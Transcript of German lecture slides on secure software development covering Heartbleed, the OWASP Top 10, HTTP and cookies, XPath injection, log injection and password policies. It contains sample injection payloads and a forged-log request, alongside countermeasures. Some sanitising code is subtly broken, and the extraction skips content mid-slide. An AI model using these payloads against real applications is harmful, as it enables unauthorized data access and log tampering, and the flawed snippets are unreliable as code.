Grundlagen der sicheren Softwareentwicklung (SoSe 2024) PDF
Document Details
Uploaded by SatisfiedHope4191
Hochschule Heilbronn
2024
Andreas Mayer
Tags
Summary
This document is lecture notes for a course on secure software development. It discusses topics such as OWASP Top 10 vulnerabilities and the Heartbleed security breach. The course is scheduled for the summer semester and will explore various security aspects of software development.
Full Transcript
Grundlagen der sicheren Softwareentwicklung (SoSe 2024) Prof. Dr.-Ing. Andreas Mayer Agenda von SWE2 Woche 1 Organisatorisches Überblick und Lernziele SWE2 Einführung und Motivation Woche 2 Technische Grundlagen Jede Woche Eine weitere Schwachstelle vo...
Grundlagen der sicheren Softwareentwicklung (SoSe 2024) Prof. Dr.-Ing. Andreas Mayer Agenda von SWE2 Woche 1 Organisatorisches Überblick und Lernziele SWE2 Einführung und Motivation Woche 2 Technische Grundlagen Jede Woche Eine weitere Schwachstelle von der OWASP Top 10-Liste Sonstige Schwachstellen Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 2 Organisatorisches Grundlagen der sicheren Softwareentwicklung (GSSWE, 172374) Wahlfach MIB SPO3, Profil SE 2 SWS, 3 ECTS Prüfungsform: LK60 Hinweis: Es wird empfohlen, diese Veranstaltung zusammen mit dem „Praktikum sichere Software- entwicklung“ (PSSWE, 171375) zu belegen Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 3 Lernziele Sensibilisierung für das Thema Sicherheit Kennenlernen und verstehen von weit verbreiteten Software-Schwachstellen in (Web-) Anwendungen „Know your enemy“ → Methoden und Denkweise der Angreifer kennenlernen, um selbst Schwachstellen in Software zu vermeiden Sichere Software implementieren, d. h. programmieren, ohne Schwachstellen einzubauen Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 4 Überblick: SWE2-Vorlesung Einführung Grundlagen Schwachstellen I: OWASP Top 10 – 2017 Ursache, Funktionsweise, Impact und Risiko Wie kann die Schwachstelle praktisch ausgenützt werden? Gegenmaßnahmen Schwachstellen II: OWASP Top 10 – 2013 bzw. 2021 und weitere „Deadly Sins“ ☺ Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 5 Literaturempfehlungen 1. The Open Worldwide Application Security Project (OWASP): OWASP Top 10 – 2017, https://owasp.org/www-project-top-ten/. 2. Schäfers, Tim Philipp (2016): Hacking im Web. München: Franzis Verlag. 3. Howard, Michael; Le Blanc, David; Viega, John (2010): 24 deadly sins of software security. Programming flaws and how to fix them. New York: McGraw-Hill. Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 6 EINFÜHRUNG Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 7 Sichere Softwareentwicklung Alle Software-Entwicklungsmodelle (z. B. Wasserfall- oder agile Methoden) sind für sichere Softwareentwicklung geeignet Fokus in GSSWE ist das „sichere codieren“ Sicherer Sichere Sicherheits- Sicheres Sicherheits- Security Software- Einrichtung/ anforderungen codieren tests Response entwurf Betrieb Organisatorische und technische Maßnahmen, die sicherstellen, dass Sicherheitsvorgaben eingehalten werden Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 8 Was wollen wir lernen? „We need more secure software than security software“, Jeremiah Grossman Jeder Entwickler benötigt Kenntnisse in der Entwicklung von sicheren Anwendungen Vermeiden von „handwerklichen“ Fehlern beim Programmieren von (Web-) Anwendungen Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 9 Motivation: Heartbleed Schwerwiegender Implementierungsfehler in der sehr weit verbreiteten OpenSSL-Library “Catastrophic is the right word. On the scale of 1 to 10, this is an 11.”, Bruce Schneier Die Schwachstelle existierte unentdeckt in OpenSSL für 27 Monate (01/2012-03/2014) „Ich habe eine neue Funktion hinzugefügt und dabei die Überprüfung einer Längenangabe übersehen“, sagte Seggelmann der Welt1. 1http://www.welt.de/wirtschaft/webwelt/article126814584/Heartbleed-Programmierer-spricht-von-Versehen.html Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 10 Heartbleed: Auswirkungen auf das Internet Wer war betroffen?1 24-55% aller HTTPS-Server aus der „Alexa Top 1 Million“ Liste Ein Großteil der TLS-/SSL-basierten Internet-Kommunikation (z. B. SMTP, TOR, VPN-Clients, …) Impact Auslesen des Hauptspeichers von Servern über eine TLS- Verbindung → z. B. kryptographische Schlüssel, Logindaten und den Klartext jeder sicheren Kommunikationsverbindung Heartbleed war sehr einfach auszunützen 1Durumeric et al., The Matter of Heartbleed, https://jhalderm.com/pub/papers/heartbleed-imc14.pdf Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 11 Heartbleed: Funktionsweise „Heartbeat“ ist eine Erweiterung des (D)TLS-Protokolls Ermöglicht einer Kommunikationspartei festzustellen, ob die Gegenseite durch den (D)TLS-Tunnel noch erreichbar ist Auffrischen der Verbindungsdaten in NAT-Routern durch Keepalive-Pakete; dadurch werden inaktive (D)TLS-Verbindungen nicht gelöscht Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 12 Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 13 Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 14 Quelle: http://xkcd.com/1354/ Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 15 Wie geht ein Angreifer vor? Ein erfolgreicher Angriff besteht aus 4 Schritten 1. Informationsgewinnung (Social Engineering, Google, Netzwerkscanner …) 2. Ausnutzen von gefundenen Schwachstellen nach dem „weakest link“ Prinzip 3. Aufrechterhaltung des Zugriffs (z. B. zusätzlichen Account anlegen und/oder Backdoor einbauen) 4. Verwischen von Spuren (z. B. Logfile manipulieren, Rootkit installieren) Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 16 Buchempfehlung: „Kuckucksei“ Clifford Stoll (1989): Kuckucksei – Die Jagd auf die deutschen Hacker, die das Pentagon knackten. Frankfurt am Main: Fischer Taschenbuch Verlag GmbH. Schildert eindrucksvoll und amüsant die wahre Geschichte von deutschen Hackern, die für den KGB in amerikanische Computer einbrachen. Dazu der Film „23 – Nichts ist wie es scheint“ Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 17 Hack Yourself First Entwickler müssen proaktiv nach Schwachstellen in ihrer Software suchen, bevor es andere tun … Hacking verbieten bringt nichts, da Angreifer (aus anderen Ländern) sich nicht daran halten Weitere Infos Jeremiah Grossman, https://www.youtube.com/watch?v=- H2G2tlqSSM Troy Hunt, https://www.troyhunt.com/hack-yourself-first-how-to- go-on/ Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 18 „Hitlisten“ – Welche Schwachstellen sind am kritischsten? Wie immer gilt – mit vertretbarem Aufwand – können nie alle Angriffe vermieden werden Deshalb existieren „Hitlisten“ mit denen die aktuelle Bedrohungslage eingeschätzt werden kann Frage: Was halten Sie von „Hitlisten“, die von Antivirus-Software Herstellern herausgegeben werden? Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 19 „Hitlisten“ – Welche Schwachstellen sind am kritischsten? Wie immer gilt – mit vertretbarem Aufwand – können nie alle Angriffe vermieden werden Deshalb existieren „Hitlisten“ mit denen die aktuelle Bedrohungslage eingeschätzt werden kann Frage: Was halten Sie von „Hitlisten“, die von Antivirus-Software Herstellern herausgegeben werden? Nicht für uns geeignet, da sie mehr das Interesse und die Themenkompetenz der Hersteller reflektieren, als eine Priorisierung nach realem Risiko! Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 20 Menschen sind schlecht im Riskikomanagement! Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 21 Menschen sind schlecht im Riskikomanagement! Quelle: https://www.symantec.com/content/dam/symantec/docs/infographics/istr-zero-day- en.pdf vs. Quelle: https://www.contrastsecurity.com/security-influencers/25- percent-of-web-apps-still-vulnerable-to-eight-of-the-owasp-top-ten Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 22 Neutrale „Hitlisten“ für Schwachstellen OWASP Top 10, www.owasp.org Risikobasierte Bewertungsmethodik Beschreiben konkrete Fehler → Korrektiv M. Howard et al., „The 24 Deadly Sins of Software Security“, 2010 Plattformübergreifende Beschreibung von Sicherheitsproblemen Eher „zufällige“ Auswahl aber nachvollziehbar für Programmierer (Beispiele) Beschreiben fehlende funktionale oder qualitative Sicherheitsaspekte→ Korrektiv G. McGraw, „The Seven Pernicious Kingdoms“, 2005 (https://www.cigital.com/papers/download/bsi11-taxonomy.pdf) Generische Klassifizierung von Schwachstellen (z. B. Code Quality) Klassifikation nicht immer direkt nachvollziehbar und umfasst mehr als nur sichere Programmierung Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 23 OWASP “The Open Worldwide Application Security Project (OWASP) is a 501(c)(3) worldwide not-for-profit charitable organization focused on improving the security of software. Our mission is to make software security visible, so that individuals and organizations worldwide can make informed decisions about true software security risks.” (Quelle: www.owasp.org) Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 25 OWASP Alle Informationen und Programme sind frei verfügbar (unter CC-BY-SA und als Open Source) Jeder kann mitmachen (>42.000 freiwillige Helfer) OWASP ist neutral, d.h. OWASP empfiehlt keine Hersteller, Produkte oder Dienstleistungen Besitzt einen „Code of Ethics“ OWASP veranstaltet regelmäßig Konferenzen (z. B. AppSec und German OWASP Day) Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 26 OWASP Top 10 Die 10 häufigsten Sicherheitsrisiken für Web- anwendungen Das bekannteste und erfolgreichste OWASP-Projekt Wird von vielen Standards, Organisationen und in Büchern referenziert (z. B. Microsoft und BSI) Bisherige Versionen: 2003, 2004, 2007, 2010 und 2013, 2017, 2021 (aktuell wird an 2024 gearbeitet) Seit „OWASP Top 10 – 2010“ fokussiert man sich nicht mehr auf Schwachstellen, sondern auf Risiken Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 28 Methodik zur Risikoklassifizierung Quelle: OWASP Top 10 – 2013 Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 29 Methodik zur Risikoklassifizierung 3 2 1 Risikoermittlung einer Schwachstelle: 𝐴𝑛𝑔𝑟𝑖𝑓𝑓𝑠𝑣𝑒𝑘𝑡𝑜𝑟𝑒𝑛 + 𝑉𝑒𝑟𝑏𝑟𝑒𝑖𝑡𝑢𝑛𝑔 + 𝐴𝑢𝑓𝑓𝑖𝑛𝑑𝑏𝑎𝑟𝑘𝑒𝑖𝑡 𝑅𝑖𝑠𝑖𝑘𝑜 = ∗ 𝑆𝑐ℎ𝑎𝑑𝑒𝑛 3 Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 30 Methodik zur Risikoklassifizierung 3 2 1 Beispiel: A1 – Injection 3+2+3 𝑅𝑖𝑠𝑖𝑘𝑜 = ∗3=8 3 Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 31 OWASP Top 10 – 2017 A3: Sensitive A4: XML A2: Broken A1: Injection Data Exposure External Entities Authentication (XXE) A5: Broken A6: Security A7: Cross-Site A8: Insecure Access Control Misconfiguration Scripting (XSS) Deserialization A9: Using A10: Insufficient Known Logging & Vulnerable Monitoring Components Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 32 TECHNISCHE GRUNDLAGEN Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 33 Hypertext Transfer Protocol (HTTP) HTTP ist ein IETF-Standard Das Übertragungsprotokoll im WWW, alle heutigen Webanwendungen basieren hierauf Versionen: HTTP/1.0 (RFC 1945, 1996), HTTP/1.1 (RFC 2616, 1999) und HTTP/2 (RFC 7540, 2015) HTTP nutzt TCP Kommunikationseinheiten: Client und Server Nachrichtentypen: Request und Response Jede Nachricht besteht aus Header und Body Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 34 HTTP Verbindungsablauf Verbindungsaufbau HTTP Request HTTP Response Verbindungsabbau Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 35 HTTP Request https://www.ntu.edu.sg/home/ehchua/programming/webprogramming/HTTP_Basics.html Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 36 HTTP Request: Der Referer Header Enthält die URL, auf der der Nutzer vor dem Besuch der jetzt (per GET) angefragten Seite war GET /wiki/Referrer HTTP/1.1 Host: de.wikipedia.org Referer: http://example.org/referring_page Deshalb sollten niemals sensible Informationen direkt in der URL enthalten sein Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 37 HTTP Response https://www.ntu.edu.sg/home/ehchua/programming/webprogramming/HTTP_Basics.html Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 38 HTTP Methoden Methode Beschreibung GET Ressource unter Angabe von einer URL anfordern POST Sendet Daten an Server und die Ziel-Ressource muss diese verarbeiten (ohne Referer Header) HEAD Gibt nur die Header ohne den Message Body einer angeforderten Ressource zurück (selten benutzt) PUT Dateien auf Ziel-URL direkt hochladen und speichern DELETE Gegenstück zu PUT, löscht eine Ressource (selten benutzt) TRACE Liefert die Anfrage zurück, wie sie vom Server empfangen wurde OPTIONS Liefert Liste der vom Server unterstützten Methoden CONNECT Für Proxies, um TLS-Tunnel zu implementieren Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 39 HTTP Statuscodes und Reason Phrases Es existieren ca. 50 Statuscodes1, welche der Server in einer HTTP Response angeben kann Statuscode Bedeutung 100-199 Information 200-299 Erfolgreiche Operation 300-399 Weiterleitung 400-499 Fehler auf Client-Seite 500-599 Fehler auf Serverseite For fun HTTP Cats: https://http.cat/ 1https://en.wikipedia.org/wiki/List_of_HTTP_status_codes Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 40 Wichtige Statuscodes (1/2) Statuscode Reason Phrase Bedeutung 200 OK Anfrage war erfolgreich, und es wurde eine Antwort mit Nachrichteninhalt übermittelt 301 Moved Permanently Leitet den Browser dauerhaft auf eine andere Ressource weiter (Ziel im „Location-Header“) 302 Found Leitet den Browser temporär auf eine andere Ressource weiter (Ziel im „Location-Header“) 400 Bad Request Die Anfrage des Clients wird vom Server als fehlerhaft verworfen 403 Forbidden Der Zugriff auf die angefragte Ressource ist untersagt 404 Not Found Die Ressource existiert nicht Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 41 Wichtige Statuscodes (2/2) Statuscode Reason Phrase Bedeutung 413 Payload Too Long Der HTTP Message Body ist zu groß und kann vom Server nicht verarbeitet werden 414 Request URI Too Die übermittelte URI ist zu lang und kann Long deshalb vom Server nicht verarbeitet werden 500 Internal Server Der Request konnte nicht verarbeitet werden, Error die Applikation hat die Verarbeitung abgebrochen 503 Service Unavailable Die Applikation ist im Moment nicht verfügbar (der Server arbeitet aber normal) Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 42 HTTP ist zustandslos Was heißt das? Der Server erkennt nicht, welche Request/Response-Paare zu einem Benutzer gehören Es existieren 3 Möglichkeiten HTTP „zustandshaltend“ zu machen 1. URL-Parameter http://example.org/get.php?id=1&money=10 2. Übertragung in HTML form mit „hidden“-Feldern 3. Cookies Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 43 HTTP: Cookies (RFC 6265) Alice wonderland.org /[email protected]&pass=1supersecure$ Set-Cookie: xs=a184ea98f98a6a1 /profile.php Cookie: xs=a184ea98f98a6a1 Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 44 HTTP Cookies im Browser setzen HTTP/1.0 200 OK Content-type: text/html Set-Cookie: MyCookie=AYQEVn…DKrdst; Domain=www.wonderland.org; Path=/alice; Expires=Wed, 30 Mar 2046 06:00:00 GMT; HttpOnly; Secure Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 45 HTTP Cookies in Serveranfragen GET /alice HTTP/1.0 Host: www.wonderland.org Content-type: text/html Cookie: MyCookie=AYQEVn…DKrdst Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 46 Cookies widerrufen Auch wenn in einem Cookie klar festgelegt wird, wann es zu löschen ist, heißt das nicht, dass der Client es auch löscht Aus Sicherheitssicht müssen Cookies deshalb immer serverseitig widerrufen werden! Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 47 Clientseitige Sprachen HTML/CSS XML JavaScript/ECMA-Script Asynchronous JavaScript and XML (AJAX) JavaScript Object Notation (JSON) VBScript Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 48 Serverseitige Sprachen Quelle: https://w3techs.com/technologies/overview/programming_language/all Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 49 Uniform Resource Locator (RFC 3986) Uniform Resource Locator (URL): Gibt den logischen Ort einer Ressource und wie darauf zugegriffen werden kann an Aufbau protokoll://[login:pw@]hostname[:port]/ [pfad/]datei[?param=1&p=2][#] Beispiel https://alice.org:444/secure/secret.php? update=1&userid=42#Absatz23 Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 50 Verschleierte URLs URLs sind aufgrund ihrer komplexen und flexiblen Definition (RFC 3986) oft ziemlich „tricky“ http://0x7f.1/ Bedeutet: http://127.0.0.1 http://paypal.com&test=test=123@2915201127 Bedeutet: Zugriff auf Host „2915201127“ (IP-Adresse von Google) Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 51 Document Object Model (DOM) Spezifikation einer Schnittstelle für den Zugriff auf XML- bzw. HTML-Dokumente im Browser → Oft per JavaScript Vorname Name Donald Duck Quelle: Wikipedia Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 52 Wichtige DOM-Eventhandler document.head: Gibt das -Element zurück document.body: Gibt das -Element zurück document.cookie: Gibt alle Cookies des Dokuments zurück document.referer: Gibt den Referrer des aktuellen Dokuments zurück getElementById() und getElementByName() auslesen bzw. manipulieren von Elementen aus dem DOM-Baum Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 53 Same Origin Policy (SOP) Clientseitiges Sicherheitskonzept, welches regelt, ob ein Skript auf eine Ressource zugreifen darf oder nicht Ein Skript darf auf eine Ressource nur dann zugreifen (lesen bzw. verändern), wenn beide den gleichen Ursprung haben Der Ursprung setzt sich aus Protokoll, Domain und Port zusammen Der Webbrowser erzwingt dabei die Einhaltung der SOP Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 54 SOP – Beispiel Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 1+2 Seite 55 Codierung/Decodierung Es existieren im Web verschiedene Codierungen, um Daten anders darzustellen Codieren: Klartext in ein anderes Format umwandeln Decodieren: Codierte Daten in Klartext umwandeln Warum? Beispiel HTML: Damit in Webseiten auch Zeichen dargestellt werden können, die vom Browser eigentlich als Steuerzeichen interpretiert werden (z. B. < für „ Learning XML 39.95 Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 03 Seite 35 XPath Injection – Beispiel Es soll das Orderlimit Arthur eines Kunden abgefragt 10000 werden Ford Die Eingabe erfolgt über 5000 ein Webformular Die Eingabeparameter sind Tricia name und password 1000 XPath-Ausdruck /customers/customer[name='Tricia' and @password='12345']/orderLimit Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 03 Seite 36 XPath Injection – Beispiel private void evaluateXPath(String name, String password) { String xpath = "/customers/customer[name='" + name + "' and @password='" + password "']/orderLimit"; XPathExpression expression = XPathFactory.newInstance(). newXPath().compile(xpath); Object result = expression.evaluate(doc, XPathConstants.NODESET); //... } Welche Eingabe liefert alle orderLimit-Werte? Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 03 Seite 37 XPath Injection – Beispiel private void evaluateXPath(String name, String password) { String xpath = "/customers/customer[name='" + name + "' and @password='" + password "']/orderLimit"; XPathExpression expression = XPathFactory.newInstance(). newXPath().compile(xpath); Object result = expression.evaluate(doc, XPathConstants.NODESET); //... } Welche Eingabe liefert alle orderLimit-Werte? Eingabe → name: dummy, password: ' or '1 /customers/customer[name='dummy' and @password='' or '1'='1']/orderLimit Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 03 Seite 38 XPath Injection – Übung /customers/customer[name='dummy' and @password='' or '1']/orderLimit Erlaubt die Rückgabe aller orderLimit-Elemente Was muss der Angreifer eingeben, damit er das gesamte XML-Dokument als Rückgabe erhält? Hint: http://www.w3schools.com/xml/xpath_syntax.asp Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 03 Seite 39 XPath Injection – Übung /customers/customer[name='dummy' and @password='' or '1']/orderLimit Erlaubt die Rückgabe aller orderLimit-Elemente Was muss der Angreifer eingeben, damit er das gesamte XML-Dokument als Rückgabe erhält? Hint: http://www.w3schools.com/xml/xpath_syntax.asp /customers/customer[name='dummy' and @password=''] | //* | /foo[bar='']/orderLimit Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 03 Seite 40 XPath Injection – Gegenmaßnahme Für XPath-Ausdrücke existieren keine Prepared Statements und kein Rechtemanagement Es können aber auch keine Daten gelöscht werden Gegenmaßnahmen 1. Umfangreiche Validierung aller Benutzereingaben (durch eine Whitelist) 2. Anschließendes Escaping der validierten Daten (z. B. mit OWASP ESAPI) Das Escaping verhindert das „ausbrechen“ aus dem Datenbereich Beispiel: ' or '1' = '1 wird zu ' or '1' = '1 Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 03 Seite 41 XPath Injection – Gegenmaßnahme Beispielcode private void evaluateXPath(String name, String password) { String safeName = ESAPI.encoder().encodeForXPath(name); String safePassword = ESAPI.encoder().encodeForXPath(password); String xpath = "/customers/customer[name='" + safeName + "' and @password='" + safePassword "']/orderLimit"; XPathExpression expression = XPathFactory.newInstance(). newXPath().compile(xpath); Object result = expression.evaluate(doc, XPathConstants.NODESET); //... } Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 03 Seite 42 LOG INJECTION Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 03 Seite 43 Log Injection Einfügen von weiteren Einträgen in einem Logfile → Dadurch werden protokollierte Spuren eines Einbruchs verschleiert bzw. es wird ein fehlerhaftes Log erzeugt Beispiel Request http://example.com?prev=viewCart String previousPage = request.getParameter("prev"); logger.info("Previous page from request was: " + previousPage); Logeintrag [2016-03-31 18:45:15] [alice] Previous page from request was: viewCart Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 03 Seite 44 Log Injection – Beispiel Bösartiger Request http://example.com?prev=viewCart\r\n[2016-03-31 18:45:15] [oscar] Account successfully created Erzeugter Logeintrag [2016-03-31 18:45:15] [alice] Previous page from request was: viewCart [2016-03-31 18:45:15] [oscar] Account successfully created Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 03 Seite 45 Log Injection – Gegenmaßnahmen 1. Input-Validierung durchführen 2. Escaping durchführen private void writeLogEntry(String input) { String clean = input.replace( '\n', '_' ).input( '\r', '_' ); String safeInput = ESAPI.encoder().encodeForHTML(clean); //... } Hinweis Falls das Logfile in einer Webanwendung bzw. direkt über das Betriebssystem angezeigt wird, kann dies dazu führen, dass dadurch bösartiger Code (unter root) ausgeführt wird! Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 03 Seite 46 Zusammenfassung Injections sind überall möglich, wo Eingaben (unabhängig von der Quelle!) interpretiert werden Eingaben sind deshalb immer umfassend mit einer strengen Whitelist validieren Bei SQL Statements Prepared Statements verwenden Alternativ immer ein Escaping durchführen Sofern ein Rechtemanagement möglich ist, dieses restriktiv verwenden (z. B. minimale DB-Berechtigungen) Defense in Depth: Immer mehrere Maßnahmen kombinieren Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 03 Seite 47 OWASP Top 10 – 2017 A3: Sensitive A4: XML A2: Broken A1: Injection Data Exposure External Entities Authentication (XXE) A5: Broken A6: Security A7: Cross-Site A8: Insecure Access Control Misconfiguration Scripting (XSS) Deserialization A9: Using A10: Insufficient Known Logging & Vulnerable Monitoring Components Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 1 A2 – BROKEN AUTHENTICATION (AND SESSION MANAGEMENT) Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 2 A2 – Broken Authentication Quelle: OWASP Top 10 – 2017 Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 3 Authentication and Session Management Notwendige Kernkomponenten für „Authentication and Session Management“ in Webapplikationen finalization Sessions Pre-Auth Session Session Access Authentication Management Control Sicherheitsmaßnahmen Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 4 Authentication and Session Management Notwendige Kernkomponenten für „Authentication and Session Management“ in Webapplikationen finalization Sessions Pre-Auth Session Session Access Authentication Management Control Sicherheitsmaßnahmen Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 5 Authentication: Benutzernamen Bei Benutzernamen wird nicht zwischen Groß- und Kleinschreibung unterschieden (z. B. „jsmith“ und „Jsmith“ sind der gleiche Benutzer) E-Mailadressen bieten sich für Benutzernamen an (erleichtert Password-Recovery Prozesse und sind eindeutig) → Validierung nicht vergessen Es darf nicht möglich sein, den gleichen Benutzernamen (mit unterschiedlichen Passwörtern) mehrfach zu registrieren Damit Angreifer bereits registrierte Benutzer- namen nicht so leicht herausfinden können, bietet sich der Einsatz von CAPTCHAs an Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 6 Authentication: Passwort-Richtlinie (1/2) Wichtig ist die Implementierung einer guten Passwort-Richtlinie Passwortlänge: 10-20 Zeichen Mind. 3 von 4 Zeichenklassen enthalten Kleinbuchstaben Großbuchstaben Zahlen Sonderzeichen Nicht mehr als zwei gleiche Zeichen hintereinander (z. B. aaa) Solange das Passwort als nicht kompromittiert gilt, muss es auch nicht zwangsweise regelmäßig geändert werden! Realisierung Z. B. über Javascript-Plugin „Password Strength“ (https://github.com/mkurayan/password_strength) Die Passwort-Richtlinie muss immer auch auf dem Server validiert werden Passwort-Richtlinien nach NIST 800-63 beachten: https://pages.nist.gov/800-63-3/sp800-63b.html#memsecret Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 7 Authentication: Passwort-Richtlinie (2/2) Keine schwachen (z. B. 12345), sehr bekannte (z. B. Password1) oder Default-Passwörter (z. B. admin/admin, cisco/cisco) zulassen Anwendung niemals mit Default-Passwörtern (speziell für admins) ausliefern Bei Passwortvergabe bzw. -änderung immer auf schwache bereits kompromittiere Passwörter testen (z. B. Pwned Passwords https://haveibeenpwned.com/Passwords oder https://github.com/danielmiessler/SecLists/blob/master/ Passwords/darkweb2017-top10000.txt) Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 8 Einschub: Credential Stuffing Quelle: https://www.troyhunt.com/password-reuse-credential-stuffing-and-another-1-billion-records-in-have-i-been- pwned/ Grundlagen sichere Softwareentwicklung (MIB), Prof. Dr.-Ing. Andreas Mayer Woche 04 Seite 9 Authentication: Fehlermeldungen Immer generische Login-Fehlermeldungen verwenden Falsch “Login für Benutzer foo: Falsches Passwort” 